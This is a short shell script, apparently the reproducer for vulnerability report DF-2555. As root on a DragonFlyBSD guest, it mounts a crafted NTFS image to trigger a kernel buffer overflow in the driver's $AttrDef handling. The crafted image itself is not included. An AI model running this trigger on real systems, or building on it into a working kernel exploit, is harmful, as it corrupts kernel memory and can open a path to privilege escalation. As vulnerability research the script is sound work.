#!/bin/sh
# DF-2555 run script - mounts the crafted NTFS image to trigger the $AttrDef overflow
# Must be run as root on the DragonFlyBSD guest
# Prerequisites: evil.ntfs (generated by build.sh / gen_image.py)
cd "$(dirname "$0")"
kldload ntfs 2>/dev/null
vnconfig -c vn0 evil.ntfs
echo "Mounting crafted NTFS image..."
mount_ntfs -o ro /dev/vn0 /mnt/ 2>&1
RC=$?
echo "Mount RC=$RC"
if [ $RC -eq 0 ]; then
    echo "SUCCESS: Mount completed (overflow happened silently during \$AttrDef translation)"
    echo "The do/while loop at ntfs_vfsops.c:458-460 wrote past the 64-byte ad_name buffer"
    umount /mnt/ 2>/dev/null
fi
vnconfig -u vn0 2>/dev/null
